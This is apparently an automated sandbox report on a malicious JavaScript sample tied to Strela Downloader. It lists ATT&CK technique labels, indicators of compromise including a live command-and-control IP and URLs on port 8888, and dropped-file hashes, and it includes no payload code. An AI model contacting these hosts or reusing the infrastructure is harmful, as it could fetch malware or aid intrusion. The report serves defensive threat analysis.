Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
322024057229051058.js	0%	ReversingLabs
322024057229051058.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/X	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/X	net.exe, 00000007.00000003.1353958314.0000011DE7CBB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1355243964.0000011DE7CBB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2582218683.00000282C8200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1355159582.0000011DE7C88000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1355243964.0000011DE7CBB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1351894438.0000011DE7CDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1355159582.0000011DE7C88000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1354753615.00000282C8440000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588117
Start date and time:	2025-01-10 21:31:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	322024057229051058.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.40.179.9, 23.40.179.69, 23.40.179.35, 23.40.179.15, 23.40.179.29, 23.40.179.22, 23.40.179.71, 13.107.246.45, 52.22.41.97, 20.12.23.50, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:32:38	API Interceptor	20x Sleep call for process: powershell.exe modified
15:32:42	API Interceptor	1x Sleep call for process: net.exe modified
15:32:42	API Interceptor	2x Sleep call for process: svchost.exe modified
15:32:49	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807521080209603
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9Q:0J7adfWuK0p/QDfKoPeuP0aN4fqoxf
MD5:	3D531DE86510EC39A9EB1629C748CBDD
SHA1:	3D4CDC7D3F603A661DFAAC0878A5904197CA03B8
SHA-256:	97AD76634700AD815B6F45553CEE6628CDA334DBB513D17E8065DBB6348D61AF
SHA-512:	8FF9C180E205FAEC552F64EEE304FED8C3E5927BA019AA96F8BF6ACF1A96261B2B16DD6B1EC92337036F6C5FF3D4D06013D8DFB2B00C4659DAF6649F96849A22
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2014950c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880544362383802
Encrypted:	false
SSDEEP:	1536:nSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:nazaPv4V4fXq2UaB
MD5:	4F370DABFFF6F77D5C985B7A2685312B
SHA1:	6B66C10E690BD9F606E6578EEC264F6B107F94BC
SHA-256:	3B3D26F669561FFFA6F09A5A18C9199CD36B916B6CA397BAFB27B5AE95281617
SHA-512:	B94E33EA859BD5E8A764609DD8A812223D3FBEB3527FE5B6CB7E357F20702E1A207B4C7E148975AA2953D9F645AD5304EBFBCB2B27B7EEA56EC5BF05CDC87A20
Malicious:	false
Preview:	...... ...............X\...;...{......................X............{..* ...}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................4.sN* ...}.<...................d* ...}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08143189990423028
Encrypted:	false
SSDEEP:	3:ZbtyYe4LJap1+gvemXlVG0+q2Iqe8lDxvkYaplqllNTt/4ll/Q6beV/:BtyzMA+UGE8lDx8beHtc6V
MD5:	D0C7F79D642EB88630F35609F83F3C10
SHA1:	0E7EDE747E6BAD2DD03E30E712F810B541C89BC3
SHA-256:	707994EDEEF8252C93144B1F38AABA9701E99C4E1B816D565A27EBA6B98FAD7E
SHA-512:	1E9C26B867BFD2B4FD972503983AFB438B40643CE73CE8B209C19B0D59C5937EAB9CDADBFFA694FA673C5F057C02C8E684144911755B558E4393BA754B009B2D
Malicious:	false
Preview:	.........................................;...{..* ...}.......{...............{.......{....:......{....................d* ...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.2039978999396155
Encrypted:	false
SSDEEP:	6:iO48d1q2PFi2nKuAl9OmbnIFUtSiiXZmwsiiFkwOFi2nKuAl9OmbjLJ:7vvdZHAahFUtviX/5iF5wZHAaSJ
MD5:	961F2C34029288DEABB1F0D6121B17A0
SHA1:	B5DF7E89D52A992D2FD386A9FE037788B5582F06
SHA-256:	91F383AEB2F9A989AD94FE67857663296D26E3A921ECF30C7892F2C211463A97
SHA-512:	5F27D6A108F42F9DA4F1EBD97243E031E4A22B24DF43D9DC5261594CC5AC4EA5E49B9F32F916C8CFE8D80486218873440D95AE015B5B6644F5482EB86C8A17C9
Malicious:	false
Preview:	2025/01/10-15:32:42.465 1a54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:32:42.467 1a54 Recovering log #3.2025/01/10-15:32:42.467 1a54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.2039978999396155
Encrypted:	false
SSDEEP:	6:iO48d1q2PFi2nKuAl9OmbnIFUtSiiXZmwsiiFkwOFi2nKuAl9OmbjLJ:7vvdZHAahFUtviX/5iF5wZHAaSJ
MD5:	961F2C34029288DEABB1F0D6121B17A0
SHA1:	B5DF7E89D52A992D2FD386A9FE037788B5582F06
SHA-256:	91F383AEB2F9A989AD94FE67857663296D26E3A921ECF30C7892F2C211463A97
SHA-512:	5F27D6A108F42F9DA4F1EBD97243E031E4A22B24DF43D9DC5261594CC5AC4EA5E49B9F32F916C8CFE8D80486218873440D95AE015B5B6644F5482EB86C8A17C9
Malicious:	false
Preview:	2025/01/10-15:32:42.465 1a54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:32:42.467 1a54 Recovering log #3.2025/01/10-15:32:42.467 1a54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.148150555774299
Encrypted:	false
SSDEEP:	6:iO4T9Iq2PFi2nKuAl9Ombzo2jMGIFUtSnXZmwsckwOFi2nKuAl9Ombzo2jMmLJ:7YIvdZHAa8uFUt2X/55wZHAa8RJ
MD5:	C91C473D8C63D028841F4691B6DB889E
SHA1:	7395C0A8D718FC97258F061E1F1FB6AF46D45F1C
SHA-256:	7E3BC2A31EFE4D8FBD1A25B0C7AF5428646181E8748E8351268A861F4AFF46B5
SHA-512:	D8F1850D7DD08D1F44048A68DDE5BCDEECEA625D6FC4321448785BD06EB7DA74CC5B5C2DC7928DA4A8E55643576122D87812E4BE11EAC6FC23C532A5FF3A6DDA
Malicious:	false
Preview:	2025/01/10-15:32:42.549 1ed4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:32:42.552 1ed4 Recovering log #3.2025/01/10-15:32:42.553 1ed4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.148150555774299
Encrypted:	false
SSDEEP:	6:iO4T9Iq2PFi2nKuAl9Ombzo2jMGIFUtSnXZmwsckwOFi2nKuAl9Ombzo2jMmLJ:7YIvdZHAa8uFUt2X/55wZHAa8RJ
MD5:	C91C473D8C63D028841F4691B6DB889E
SHA1:	7395C0A8D718FC97258F061E1F1FB6AF46D45F1C
SHA-256:	7E3BC2A31EFE4D8FBD1A25B0C7AF5428646181E8748E8351268A861F4AFF46B5
SHA-512:	D8F1850D7DD08D1F44048A68DDE5BCDEECEA625D6FC4321448785BD06EB7DA74CC5B5C2DC7928DA4A8E55643576122D87812E4BE11EAC6FC23C532A5FF3A6DDA
Malicious:	false
Preview:	2025/01/10-15:32:42.549 1ed4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:32:42.552 1ed4 Recovering log #3.2025/01/10-15:32:42.553 1ed4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF660213.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c269bd70-be97-4d25-83c0-1446782f6a58.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e1ce98e0-04ab-4db8-b5b1-8b42d147fa2b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.958326909607933
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqOXhsBdOg2H32caq3QYiubpP7E4T3y:Y2sRdsGdMH3J3QYhbd7nby
MD5:	652BB58B17BB3636C382F675434318E2
SHA1:	2BD47D3C9A4E3BCAD5FA47AD6D697E016BE07E4F
SHA-256:	2E3A1E8FCAB2DDFD8C46163688BCF175D7A6F584504A46759B0C98BEC6B3907E
SHA-512:	6FAC466EC22DA1115C9BFDF180DF54FD42DA6B4894CEE4498A66CB3C5A0AD100681FA7B22C2C4F4872B1C877C1FA9302D2FBD0921C67322A1145FEF27882291E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381101174318244","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137061},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.230392699050107
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVY8jpNG:wshFT0h7cZb2EVKZPEANcGIK5EVY8jpU
MD5:	21C086DB896DA51B33309238CC7AF397
SHA1:	3DF47ADD5ED63489AD5BFB09157E75AB20518DCD
SHA-256:	9799E8A75C53A65BB1E73C4CE54ECFEF76F99D1C14FE22515F3918B9B46A3468
SHA-512:	0BB7BBC92076F43A2976773CAA91BFAD5ABB64E2CE07225CFFCEE58DF8ABA94B0E4FC4AD1A2864C46315B12F81061ADEA8FA1336896F59E1B823D77393957C68
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1992520929671615
Encrypted:	false
SSDEEP:	6:iO4KOq2PFi2nKuAl9OmbzNMxIFUtSU9Zmws+kPkwOFi2nKuAl9OmbzNMFLJ:7VOvdZHAa8jFUtT9/sP5wZHAa84J
MD5:	ACD82515FE9D467F60F8BD98DE3BEDE0
SHA1:	7384AE82A010C08DC1437AB79A5D22626FF40678
SHA-256:	F212C30B38A5A80E7D38DC7227991F127A2F4652E02F51B0FE602C2F6412E7F6
SHA-512:	E947410396680462FED27DFD49B94F1CD12F7EA79EB25323229D9F0D983EB6671221522F4B6CBDCF7806305224308D6F1AE3B046282651908FD6937DD08279FB
Malicious:	false
Preview:	2025/01/10-15:32:42.780 1ed4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:32:42.782 1ed4 Recovering log #3.2025/01/10-15:32:42.783 1ed4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1992520929671615
Encrypted:	false
SSDEEP:	6:iO4KOq2PFi2nKuAl9OmbzNMxIFUtSU9Zmws+kPkwOFi2nKuAl9OmbzNMFLJ:7VOvdZHAa8jFUtT9/sP5wZHAa84J
MD5:	ACD82515FE9D467F60F8BD98DE3BEDE0
SHA1:	7384AE82A010C08DC1437AB79A5D22626FF40678
SHA-256:	F212C30B38A5A80E7D38DC7227991F127A2F4652E02F51B0FE602C2F6412E7F6
SHA-512:	E947410396680462FED27DFD49B94F1CD12F7EA79EB25323229D9F0D983EB6671221522F4B6CBDCF7806305224308D6F1AE3B046282651908FD6937DD08279FB
Malicious:	false
Preview:	2025/01/10-15:32:42.780 1ed4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:32:42.782 1ed4 Recovering log #3.2025/01/10-15:32:42.783 1ed4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438805256029712
Encrypted:	false
SSDEEP:	384:yejci5G8iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0QurVgazUpUTTGt
MD5:	68334E535DAA1EED8D1DAB7E4BDA1120
SHA1:	0A79604A22D938CCC92529B5640588BE26144D0E
SHA-256:	BE6626D14C232EFF9DEE03AEA97948A3B66B2C99D3C94511D38A842544AEE563
SHA-512:	84EDD94B46AD25A0B9CE9B6BAA260D8F31B997B6E378E9438724FE691E8FFCC8644E091166CCE6EE8D26B767B458D196EFE8D2A0237AF607A379BAF05DAE36CA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

